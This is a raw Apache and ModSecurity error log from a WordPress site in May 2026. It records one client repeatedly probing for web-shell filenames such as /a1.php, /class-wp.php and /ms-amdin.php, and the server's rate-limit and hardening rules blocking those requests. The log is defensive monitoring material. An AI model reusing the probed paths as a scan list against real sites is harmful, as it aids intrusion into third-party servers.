[Tue May 19 03:58:11.213308 2026] [:error] [pid 34689:tid 34713] [client 172.173.117.54:59863] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtvU5WxMX-BooBZ30HBOQAAABE"]
[Tue May 19 03:58:11.610658 2026] [:error] [pid 34690:tid 34736] [client 172.173.117.54:64452] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtvU4Qwnq2meDg4FYnh7gAAAEE"]
[Tue May 19 03:58:12.090563 2026] [:error] [pid 34690:tid 34749] [client 172.173.117.54:62877] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agtvVIQwnq2meDg4FYnh7wAAAE4"]
[Tue May 19 03:58:12.478935 2026] [:error] [pid 34690:tid 34756] [client 172.173.117.54:58820] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agtvVIQwnq2meDg4FYnh8AAAAFU"]
[Tue May 19 03:58:12.924281 2026] [:error] [pid 34690:tid 34745] [client 172.173.117.54:64428] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agtvVIQwnq2meDg4FYnh8gAAAEo"]
[Tue May 19 03:58:13.303349 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:64453] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "agtvVXLwdc8JcvxViQXxowAAANE"]
[Tue May 19 03:58:13.700023 2026] [:error] [pid 34690:tid 34758] [client 172.173.117.54:64511] [client 172.173.117.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "agtvVYQwnq2meDg4FYnh8wAAAFc"]
[Tue May 19 03:58:38.260920 2026] [:error] [pid 7153:tid 7167] [client 129.121.41.228:52112] [client 129.121.41.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.121.41.228, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtvbqdpROLG9jbcqcj9AwAAAAI"]
[Tue May 19 03:58:39.619520 2026] [autoindex:error] [pid 7153:tid 7186] [client 172.173.117.54:59365] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 03:58:40.884902 2026] [autoindex:error] [pid 7153:tid 7188] [client 172.173.117.54:59365] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 03:58:43.061566 2026] [:error] [pid 7153:tid 7168] [client 172.173.117.54:59365] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pol.php"] [unique_id "agtvc6dpROLG9jbcqcj9CgAAAAM"]
[Tue May 19 03:58:43.558802 2026] [:error] [pid 7247:tid 7265] [client 172.173.117.54:65258] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pol.php"] [unique_id "agtvc-9uxDIeS3iFXFNZyAAAANA"]
[Tue May 19 03:58:43.991096 2026] [:error] [pid 7153:tid 7171] [client 172.173.117.54:65237] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pol.php"] [unique_id "agtvc6dpROLG9jbcqcj9CwAAAAY"]
[Tue May 19 03:58:44.452606 2026] [:error] [pid 7247:tid 7268] [client 172.173.117.54:62962] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pol.php"] [unique_id "agtvdO9uxDIeS3iFXFNZyQAAANM"]
[Tue May 19 03:58:44.833140 2026] [:error] [pid 7153:tid 7173] [client 172.173.117.54:61531] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-amdin.php"] [unique_id "agtvdKdpROLG9jbcqcj9DQAAAAg"]
[Tue May 19 03:58:45.341467 2026] [:error] [pid 7153:tid 7174] [client 172.173.117.54:61515] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-amdin.php"] [unique_id "agtvdadpROLG9jbcqcj9DwAAAAk"]
[Tue May 19 03:58:45.915659 2026] [:error] [pid 7153:tid 7177] [client 172.173.117.54:62912] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-amdin.php"] [unique_id "agtvdadpROLG9jbcqcj9EQAAAAw"]
[Tue May 19 03:58:46.584643 2026] [:error] [pid 7155:tid 7230] [client 172.173.117.54:61565] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-amdin.php"] [unique_id "agtvdgWT91ktORXJ8aawOgAAAIs"]
[Tue May 19 03:58:47.194201 2026] [:error] [pid 7155:tid 7231] [client 172.173.117.54:59286] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agtvdwWT91ktORXJ8aawOwAAAIw"]
[Tue May 19 03:58:47.632642 2026] [:error] [pid 7247:tid 7271] [client 172.173.117.54:62875] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agtvd-9uxDIeS3iFXFNZygAAANY"]
[Tue May 19 03:58:48.057483 2026] [:error] [pid 7154:tid 7200] [client 172.173.117.54:65260] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agtveGl_r8j-0E4isJNArwAAAEg"]
[Tue May 19 03:58:48.435787 2026] [:error] [pid 7247:tid 7272] [client 172.173.117.54:61476] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "agtveO9uxDIeS3iFXFNZywAAANc"]
[Tue May 19 03:58:48.877787 2026] [:error] [pid 7155:tid 7232] [client 172.173.117.54:64417] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "agtveAWT91ktORXJ8aawPAAAAI0"]
[Tue May 19 03:58:49.432350 2026] [:error] [pid 7247:tid 7252] [client 172.173.117.54:64479] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "agtvee9uxDIeS3iFXFNZzQAAAMM"]
[Tue May 19 03:58:49.922827 2026] [:error] [pid 7247:tid 7253] [client 172.173.117.54:59841] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "agtvee9uxDIeS3iFXFNZzwAAAMQ"]
[Tue May 19 03:58:50.621332 2026] [:error] [pid 7247:tid 7254] [client 172.173.117.54:65180] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "agtveu9uxDIeS3iFXFNZ0AAAAMU"]
[Tue May 19 03:58:51.417641 2026] [:error] [pid 7247:tid 7256] [client 172.173.117.54:61499] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agtve-9uxDIeS3iFXFNZ0QAAAMc"]
[Tue May 19 03:58:52.059103 2026] [:error] [pid 7247:tid 7257] [client 172.173.117.54:59809] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agtvfO9uxDIeS3iFXFNZ0gAAAMg"]
[Tue May 19 03:58:52.576535 2026] [:error] [pid 7154:tid 7214] [client 172.173.117.54:61560] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agtvfGl_r8j-0E4isJNAtAAAAFY"]
[Tue May 19 03:58:52.964634 2026] [:error] [pid 7155:tid 7233] [client 172.173.117.54:58846] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agtvfAWT91ktORXJ8aawPQAAAI4"]
[Tue May 19 03:58:53.378650 2026] [:error] [pid 7247:tid 7261] [client 172.173.117.54:64420] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtvfe9uxDIeS3iFXFNZ1AAAAMw"]
[Tue May 19 03:58:53.773924 2026] [:error] [pid 7153:tid 7185] [client 172.173.117.54:65170] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtvfadpROLG9jbcqcj9FQAAABQ"]
[Tue May 19 03:58:54.223935 2026] [:error] [pid 7247:tid 7262] [client 172.173.117.54:59879] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtvfu9uxDIeS3iFXFNZ1gAAAM0"]
[Tue May 19 03:58:54.632871 2026] [:error] [pid 7247:tid 7264] [client 172.173.117.54:62894] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4PJcpMFsD8B.php"] [unique_id "agtvfu9uxDIeS3iFXFNZ1wAAAM8"]
[Tue May 19 03:58:55.102652 2026] [:error] [pid 7154:tid 7212] [client 172.173.117.54:62863] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtvf2l_r8j-0E4isJNAtQAAAFQ"]
[Tue May 19 03:58:55.593336 2026] [:error] [pid 7154:tid 7195] [client 172.173.117.54:64435] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtvf2l_r8j-0E4isJNAtgAAAEM"]
[Tue May 19 03:58:56.084986 2026] [:error] [pid 7155:tid 7236] [client 172.173.117.54:62943] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtvgAWT91ktORXJ8aawPwAAAJE"]
[Tue May 19 03:58:56.523098 2026] [:error] [pid 7155:tid 7237] [client 172.173.117.54:61551] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtvgAWT91ktORXJ8aawQAAAAJI"]
[Tue May 19 03:58:56.960332 2026] [:error] [pid 7154:tid 7192] [client 172.173.117.54:62913] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agtvgGl_r8j-0E4isJNAtwAAAEA"]
[Tue May 19 03:58:57.383571 2026] [:error] [pid 7247:tid 7267] [client 172.173.117.54:65197] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agtvge9uxDIeS3iFXFNZ2gAAANI"]
[Tue May 19 03:58:57.781681 2026] [:error] [pid 7154:tid 7196] [client 172.173.117.54:62946] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agtvgWl_r8j-0E4isJNAuAAAAEQ"]
[Tue May 19 03:58:58.237794 2026] [:error] [pid 7247:tid 7272] [client 172.173.117.54:61541] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cfile.php"] [unique_id "agtvgu9uxDIeS3iFXFNZ3AAAANc"]
[Tue May 19 03:58:58.658613 2026] [:error] [pid 7247:tid 7250] [client 172.173.117.54:59852] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agtvgu9uxDIeS3iFXFNZ3QAAAME"]
[Tue May 19 03:58:59.151953 2026] [:error] [pid 7247:tid 7252] [client 172.173.117.54:65164] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agtvg-9uxDIeS3iFXFNZ4AAAAMM"]
[Tue May 19 03:58:59.606857 2026] [:error] [pid 7247:tid 7254] [client 172.173.117.54:61445] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agtvg-9uxDIeS3iFXFNZ4QAAAMU"]
[Tue May 19 03:59:00.010287 2026] [:error] [pid 7247:tid 7255] [client 172.173.117.54:59826] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp.php"] [unique_id "agtvhO9uxDIeS3iFXFNZ4wAAAMY"]
[Tue May 19 03:59:00.513709 2026] [:error] [pid 7247:tid 7256] [client 172.173.117.54:61490] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "agtvhO9uxDIeS3iFXFNZ5AAAAMc"]
[Tue May 19 03:59:00.928060 2026] [:error] [pid 7247:tid 7257] [client 172.173.117.54:61505] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "agtvhO9uxDIeS3iFXFNZ5QAAAMg"]
[Tue May 19 03:59:01.395210 2026] [:error] [pid 7247:tid 7259] [client 172.173.117.54:65160] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "agtvhe9uxDIeS3iFXFNZ5gAAAMo"]
[Tue May 19 03:59:01.778111 2026] [:error] [pid 7153:tid 7188] [client 172.173.117.54:65245] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "agtvhadpROLG9jbcqcj9FgAAABc"]
[Tue May 19 03:59:02.199009 2026] [:error] [pid 7155:tid 7242] [client 172.173.117.54:64427] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agtvhgWT91ktORXJ8aawQwAAAJc"]
[Tue May 19 03:59:02.671980 2026] [:error] [pid 7155:tid 7243] [client 172.173.117.54:59323] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agtvhgWT91ktORXJ8aawRAAAAJg"]
[Tue May 19 03:59:03.111012 2026] [:error] [pid 7153:tid 7165] [client 172.173.117.54:65234] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agtvh6dpROLG9jbcqcj9GAAAAAA"]
[Tue May 19 03:59:03.555423 2026] [:error] [pid 7153:tid 7168] [client 172.173.117.54:61450] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa2.php"] [unique_id "agtvh6dpROLG9jbcqcj9GQAAAAM"]
[Tue May 19 03:59:03.981130 2026] [:error] [pid 7155:tid 7221] [client 172.173.117.54:65238] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agtvhwWT91ktORXJ8aawRQAAAII"]
[Tue May 19 03:59:04.395517 2026] [:error] [pid 7247:tid 7264] [client 172.173.117.54:59337] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agtviO9uxDIeS3iFXFNZ5wAAAM8"]
